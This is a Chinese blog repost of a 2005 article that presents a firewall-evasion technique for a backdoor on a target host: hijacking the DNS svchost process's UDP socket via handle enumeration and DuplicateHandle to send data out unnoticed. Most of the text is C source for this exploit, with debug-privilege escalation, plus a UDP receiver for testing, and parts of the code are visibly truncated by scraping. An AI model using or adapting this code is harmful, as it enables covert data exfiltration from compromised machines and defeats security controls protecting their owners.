一种新的穿透防火墙的数据传输技术
生活随笔
收集整理的這篇文章主要介紹了
一种新的穿透防火墙的数据传输技术
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
使用該技術背景:
在目標主機安放后門,需要將數據傳輸出去,同時數據很重要,動作不能太大。其他情況“嚴重”不推薦使用該技術(后面我會講到為什么)。
針對目前防火墻的一些情況,如果自己的進程開一個端口(甚至是新建套接字)肯定被攔。相反,有一點我們也很清楚:被防火墻驗證的進程在傳送數據時永遠不會被攔。所以,我的思路很簡單:將其他進程中允許數據傳輸的套接字句柄拿為已用。
過程如下:
1. 找出目標進程
2. 找出SOCKET句柄
2. 用DuplicateHandle()函數將其SOCKET轉換為能被自己使用
3. 用轉換后的SOCKET進行數據傳輸
上面的過程寫的很簡單,但是實際實現起來還是存在一些問題(后面再做討論),而且從上面的實現方法也可以看出一些不爽的地方:在目標進程的SOCKET不 能是TCP,因為TCP的句柄已經跟外面建立了連接,所以只能是UDP。針對不同系統不同進程我們很難定位一個穩定的進程SOCKET。
看到上面這些,你有點喪氣了對不對,哈哈。 再想一想,其實我們有一條真正的通羅馬的“黃金大道”。
我們知道只要一臺計算機連上了網絡,那么有一種數據傳輸是肯定不會被攔截的,那就是DNS。你能想像域名解析數據都被攔了造成的結果嗎? 嘿嘿, 既然這個是永遠不會被攔的, 而且它又是UDP傳輸, 我們就拿他開刀。
下面是通過直接控制DNS進程(其實也就是svchost.exe,不過對應用戶名是NETWORK SERVICE)進行數據傳輸的例子。編程中出現了很多問題,比方說獲取svchost對應用戶名時沒有權限(但是能夠操作LOCAL SERVICE),在句柄值為0x2c時進行getsockname時會停止運行等等。具體解決方法請細看注釋部分。
CODE:
/*++
Made By ZwelL
[url=mailto:zwell@sohu.com]zwell@sohu.com[/url]
2005.4.12
--*/
#include
#include
#include
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status)? ?? ?((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG??NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
??ULONG? ?? ???ProcessId;
??UCHAR? ?? ???ObjectTypeNumber;
??UCHAR? ?? ???Flags;
??USHORT? ?? ???Handle;
??PVOID? ?? ???Object;
??ACCESS_MASK? ? GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void )
{
??BOOL??ret? ?? ?= FALSE;
??char??NTDLL_DLL[] = "ntdll.dll";
??HMODULE ntdll_dll??= NULL;
??if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
??{
? ? printf( "GetModuleHandle() failed");
? ? return( FALSE );
??}
??if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress
( ntdll_dll, "ZwQuerySystemInformation" ) ) )
??{
? ? goto LocateNtdllEntry_exit;
??}
??ret = TRUE;
LocateNtdllEntry_exit:
??if ( FALSE == ret )
??{
? ? printf( "GetProcAddress() failed");
??}
??ntdll_dll = NULL;
??return( ret );
}
/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
??// sanity checks and default value
??if (pUserSid == NULL)
? ? return false;
??strcpy(szUserName, "?");
??SID_NAME_USE??snu;
??TCHAR? ?? ?szUser[_MAX_PATH];
??DWORD? ?? ?chUser = _MAX_PATH;
??PDWORD? ?? ?pcchUser = &chUser;
??TCHAR? ?? ?szDomain[_MAX_PATH];
??DWORD? ?? ?chDomain = _MAX_PATH;
??PDWORD? ?? ?pcchDomain = &chDomain;
??// Retrieve user name and domain name based on user's SID.
??if (
? ? ::LookupAccountSid(
? ? NULL,
? ? pUserSid,
? ? szUser,
? ? pcchUser,
? ? szDomain,
? ? pcchDomain,
? ? &snu
? ? )
? ? )
??{
? ? wsprintf(szUserName, "%s", szUser);
??}
??else
??{
? ? return false;
??}
??return true;
}
/*++
This routine is used to get the DNS process's Id
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.
--*/
DWORD GetDNSProcessId()
{
??PWTS_PROCESS_INFO pProcessInfo = NULL;
??DWORD? ?? ???ProcessCount = 0;
??char? ?? ???szUserName[255];
??DWORD? ?? ???Id = -1;
??if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
??{
? ? // dump each process description
? ? for (DWORD CurrentProcess = 0; CurrentProcess User.Sid, szAccountName,
? ? &dwAccountSize,szDomainName, &dwDomainSize, &snu);
??if(hProcess)
? ? CloseHandle(hProcess);
??if(hAccessToken)
? ? CloseHandle(hAccessToken);
??return true;
}*/
/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
??NTSTATUS? ?? ?? ?? ???status;
??PVOID? ?? ?? ?? ?? ? buf??= NULL;
??ULONG? ?? ?? ?? ?? ? size = 1;
??ULONG? ?? ?? ?? ?? ? NumOfHandle = 0;
??ULONG? ?? ?? ?? ?? ? i;
??PSYSTEM_HANDLE_INFORMATION??h_info = NULL;
??HANDLE??sock = NULL;
??DWORD??n;
??buf=malloc(0x1000);
??if(buf == NULL)
??{
? ? printf("malloc wrong\n");
? ? return NULL;
??}
??status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
??if(STATUS_INFO_LENGTH_MISMATCH == status)
??{
? ? free(buf);
? ? buf=malloc(n);
? ? if(buf == NULL)
? ? {
? ?? ???printf("malloc wrong\n");
? ?? ???return NULL;
? ? }
? ? status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
??}
??else
??{
? ? printf("ZwQuerySystemInformation wrong\n");
? ? return NULL;
??}
??NumOfHandle = *(ULONG*)buf;
??h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
??for(i = 0; i0)??// if port > 0, then we can use it
? ?? ?? ?? ?break;
? ?? ???}
? ? }
? ? catch(...)
? ? {
? ?? ???continue;
? ? }
??}
??if ( buf != NULL )
??{
? ? free( buf );
??}
??return (SOCKET)sock;
}
/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
??HANDLE hToken;
??BOOL rv;
??TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
??LookupPrivilegeValue (
? ? 0,
? ? name,
? ? &priv.Privileges[0].Luid
? ? );
??priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
??OpenProcessToken(
? ? GetCurrentProcess (),
? ? TOKEN_ADJUST_PRIVILEGES,
? ? &hToken
? ? );
??AdjustTokenPrivileges (
? ? hToken,
? ? FALSE,
? ? &priv,
? ? sizeof priv,
? ? 0,
? ? 0
? ? );
??rv = GetLastError () == ERROR_SUCCESS;
??CloseHandle (hToken);
??return rv;
}
void main()
{
??WSADATA wsaData;
??char??testbuf[255];
??SOCKET??sock;
??sockaddr_in RecvAddr;
??int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
??if (iResult != NO_ERROR)
? ? printf("Error at WSAStartup()\n");
??if(!LocateNtdllEntry())
? ? return;
??if(!EnablePr
ivilege (SE_DEBUG_NAME)) { printf("EnablePrivilege wrong\n"); return; } sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf("GetSocketFromId wrong\n"); return; } //Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(SOCKET_ERROR == sendto(sock, "test", 5, 0, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr))) { printf("sendto wrong:%d\n", WSAGetLastError()); } else { printf("send ok... Have fun, right? ^_^\n"); } getchar(); //WSACleanup(); return; } [Copy to clipboard]
很早以前我就有這個想法了,只是一直沒有去實現。在上面的代碼中,因為要找出DNS進程句柄,而svchost.exe又有多個,所以以用戶名來進行判斷,本來是用OpenProcessToken,但是怎么也不行。所以換個方法,用到了wtsapi32庫函數。
再用下面的代碼測試:
CODE:
/*++
UdpReceiver
--*/
#include
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
void main()
{
WSADATA wsaData;
SOCKET RecvSocket;
sockaddr_in RecvAddr;
int Port = 5555;
char RecvBuf[1024];
int BufLen = 1024;
sockaddr_in SenderAddr;
int SenderAddrSize = sizeof(SenderAddr);
//-----------------------------------------------
// Initialize Winsock
WSAStartup(MAKEWORD(2,2), &wsaData);
//-----------------------------------------------
// Create a receiver socket to receive datagrams
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
//-----------------------------------------------
// Bind the socket to any address and the specified port.
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
//-----------------------------------------------
// Call the recvfrom function to receive datagrams
// on the bound socket.
printf("Receiving datagrams...\n");
while(1)
{
??recvfrom(RecvSocket,
? ? RecvBuf,
? ? BufLen,
? ? 0,
? ? (SOCKADDR *)&SenderAddr,
? ? &SenderAddrSize);
??printf("%s\n", RecvBuf);
}
//-----------------------------------------------
// Close the socket when finished receiving datagrams
printf("Finished receiving. Closing socket.\n");
closesocket(RecvSocket);
//-----------------------------------------------
// Clean up and exit.
printf("Exiting.\n");
WSACleanup();
return;
}
[Copy to clipboard]
測試步驟:
1. 在一臺機器上執行UdpReceiver。
2. 在安裝防火墻的機器上執行第一個程序。
轉載于:https://blog.51cto.com/yuncx/41558
總結
以上是生活随笔為你收集整理的一种新的穿透防火墙的数据传输技术的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 用咨询的角度去实施软件项目
- 下一篇: 知识管理中的矛盾分析